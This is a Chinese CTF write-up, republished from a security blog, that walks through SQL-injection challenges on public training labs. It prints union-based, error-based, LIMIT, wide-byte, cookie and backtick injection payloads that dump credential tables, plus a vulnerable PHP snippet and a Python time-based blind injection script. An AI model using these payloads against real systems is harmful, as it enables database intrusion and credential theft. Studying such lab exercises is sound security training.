CTF| SQL注入之获取数据类

上周发了一篇 SQL注入登录类的题型文章分析,这种题目一般是绕过登录限制。常规的SQL注入题需要我们一步步注入出数据,大部分题目需要我们有一定代码审计的能力,分析出代码存在的注入漏洞才能获得flag。

简单的注入题目

简单的sql注入题目就和你在sqli平台上练习的一样,按照sql的基本注入方式一步步下来,就一定能够获得falg。

题目入口:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php 题目来源:hacking lab inject 02~ 添加id:index.php?id=3 解法一:题目提示我们flag就在这个表里,遍历id,id有点大!!不现实 。 http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=12999

解法二:常规解法,得到id

index.php?id=1 union select 1,(select group_concat(0x7e,id,0x7e) from sae_user_sqli3) ,3%23

解法三:万能密码的方式 index.php?id=1 or 1=1#

题目入口:

http://redtiger.labs.overthewire.org/level1.php

题目来源:

RedTigers Hackit Level 1 Simple SQL-Injection

简单的sql注入,题目已经告诉我们,用户名Hornoxe,表为level_users

http://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1

http://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=2

判断列数 :level1.php?cat=1 order by 4

判断回显位置 : level1.php?cat=1 union select 1,2,3,4

得到密码: level1.php?cat=1 union select 1,2,3,(select group_concat(username,0x7e,password) from level1_users)

报错注入姿势

题目入口:

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin

题目来源:hacking lab inject 06~

报错注入——参考这篇文章:十种MySQL报错注入 http://www.cnblogs.com/wocalieshenmegui/p/5917967.html 随便挑一种来注入: index.php?username=admin' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))%23

直接给payload: index.php?username=admin' and (extractvalue(1,concat(0x7e,(select (SELECT distinct concat(0x3a,username,0x3a,motto,0x3a,0x3a) FROM motto limit 3,1)),0x7e)))%23

Limit注入

题目入口:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1 hacking lab inject 04~ 题目:小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?

这是一道limit注入的题目,可以参考freebuf:http://www.freebuf.com/articles/web/57528.html

index.php?start=1&num=1 procedure analyse (extractvalue(rand(),concat(0x3a,user())),1)

index.php?start=1&num=1 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(0x7e,username,0x3a,password,0x7e) from user))),1)

可以看到用户名有个是flag,但是密码没有显示出来 。 index.php?start=1&num=1 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(0x7e,password,0x7e) from user))),1)

图片参数注入

题目入口:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/ hacking lab inject 05~ 这道题的注入点在图片URL的参数上。 http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg

判断列数 : /images/dog1.jpg%df'+order+by+4+%23 判断回显位置 : dog1.jpg%df'+union+select+1,2,3,4+%23

pic表的列 : dog1.jpg%df'+union+select+1,2,(select+group_concat(0x20,column_name)+from+information_schema.columns+where+table_name%3d0x706963),4+%2

get flag : /images/dog1.jpg%df'+union+select+1,2,(select+group_concat(picname)+from+pic),4+%2

访问图片:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg

cookie注入

题目入口:

http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1 题目来源:hacking lab inject 08~ 这道题,题目已经说明白GET/POST都没有办法注入,注入点在HTTP头部。 尝试cookie注入。

接下来注入和常规注入没有什么分别了。 Cookie: PHPSESSID=89256747cebe9f71271a3645b92f8014;id=1 union select 1,(select group_concat(0x7e,username,0x3a,password,0x7e) from sae_manager_sqli8),3%23

神奇的反引号

题目入口:http://web.jarvisoj.com:32794/

查看源代码:

http://web.jarvisoj.com:32794/index.php~

Hacker( ) 会输出报错语句,尝试闭合反引号 。

http://web.jarvisoj.com:32794/index.php?table=flag` `union select user() limit 1,1

闭合的语句:

desc `secret_flag` `union select user() limit 1,1`

查表:

http://web.jarvisoj.com:32794/index.php?table=flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

查列:

http://web.jarvisoj.com:32794/index.php?table=flag` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1

获得flag:

http://web.jarvisoj.com:32794/index.php?table=flag` `union select flagUwillNeverKnow from secret_flag limit 1,1

题目入口:

http://114.55.36.69:20680/index.php?table=news&id=1 这道题是有人在tools上提问的,id处过滤了column_name,所以注入点在table。

源代码:

$sql="desc `error_{$table}`";
$res=mysql_query($sql);
if(empty(mysql_fetch_array($res))){
 echo "<center>no table detail<center>";
 die();
}
$sql="select * from error_${table} where id = $id";
payload:
http://114.55.36.69:20680/index.php?table=flag`%23`%20where%200=extractvalue(1,(select%20group_concat(0x3a,column_name)%20from%20information_schema.columns%20where%20table_name=%27error_flag%27))%23`&id=1

分析:此处payload的构造最为巧妙。源代码出现了两次$sql,但是第一部分有反引号,第二部分没有。这样的结果是,第一次查询的时候,%23是#,会注释掉后面的语句。而第二次查询的时候,%23被两个反引号括起来失去了注释的意义。

第一个$sql:

desc `error_flag`%23`%20where%200=extractvalue(1,(select%20group_concat(0x3a,column_name)%20from%20information_schema.columns%20where%20table_name=%27error_flag%27))%23``

第二个$sql:

select * from error_flag`%23`%20where%200=extractvalue(1,(select%20group_concat(0x3a,column_name)%20from%20information_schema.columns%20where%20table_name=%27error_flag%27))%23` where id = $id"

herder+时间盲注

题目入口:

http://ctf5.shiyanbar.com/web/wonderkun/index.php

实验吧,who are you ?? 我要把攻击我的人都记录db中去!

关于伪造ip的参数:

X-Forwarded-For 本题使用

Client-IP

x-remote-IP

x-originating-IP

x-remote-addr

X-Forwarded-For:1'+(sleep(5))+' 跑脚本。

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,100):
    havetry=0
 for str in guess:
        headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
 try: 
            res=requests.get(url,headers=headers,timeout=6)
 except requests.exceptions.ReadTimeout, e:
            havetry=1
            flag = flag + str
            print "flag:", flag
 break
 if havetry==0:
 break
print 'result:' + flag
result:cdbf14c9551d5be5612f7bb5d2867853

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2017-10-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏进击的程序猿

如何组织PHP中的异常

本文的主题是怎么组织php的异常?在大型项目中异常往往被我们忽略,但是如果前期没有很好的规划好,越到项目后期,重构的成本会越大。

16510
来自专栏deed博客

十天学会php详细文字教程_入门至精通

25220
来自专栏.net core新时代

数据字典生成工具之旅(2):数据字典生成工具及文档工具作用介绍

       上一篇介绍完了整个架构和功能,这一篇将更加详细介绍功能和操作,将会以实际例子帮助理解!(预告:下一篇正式进入实现原理讲解) 阅读目录 开始使用工具...

23950
来自专栏逸鹏说道

初级.NET程序员,你必须知道的EF知识和经验

注意:以下内容如果没有特别申明,默认使用的EF6.0版本,code first模式。 推荐MiniProfiler插件 工欲善其事,必先利其器。 我们使用EF和...

385100
来自专栏杨建荣的学习笔记

同样的sql执行结果不同的原因分析 (r4笔记第27天)

今天开发的同事问我一个问题,说有一个sql语句,在weblogic的日志中执行没有结果,但是手动拷贝数据到客户端执行,却能够查到。这种奇怪的问题一下子就能引起我...

30280
来自专栏PHP在线

2016最新面试题出炉

小编最近面试了一些公司,有上市公司也有创业公司,但是面试题都大同小异,小编凭记忆汇总了这些公司的面试题,希望对同行业的小伙伴有所帮助。 1.10万行数据情况下,...

29460
来自专栏杨建荣的学习笔记

通过编程控制CPU利用率(r4笔记第69天)

今天想起一个几年前学习过的程序,是在《编程之美》中提到的,是作为当时微软的面试题,写一个程序来控制CPU的利用率保持在50%,进一步延伸,能够写出程序来画出CP...

34950
来自专栏Golang语言社区

网游内存数据库的设计(1)

网络游戏的数据变动比较频繁,如果每次数据变动都刷往后端数据库,会导致数据库不负重荷。在游戏逻辑和数据库间提供一层缓冲服务,有利于减轻这重压力. 首先,网络游戏的...

38360
来自专栏C/C++基础

CVTE2017秋季校招笔试题回忆(C++后台岗)

2016.09.06晚参加了CVTEC++岗的在线笔试。笔试题型分为不定向选择题和编程题,总共27题。其中不定项选择题为25道,编程题2道。其特点是不定项选择题...

12110
来自专栏Crossin的编程教室

【Python 第62课】 调试程序

写代码,不可避免地会出现bug。很多人在初学编程的时候,当写完程序运行时,发现结果与自己预料中的不同,或者程序意外中止了,就一时没了想法,不知道该从何下手,只能...

29990

扫码关注云+社区

领取腾讯云代金券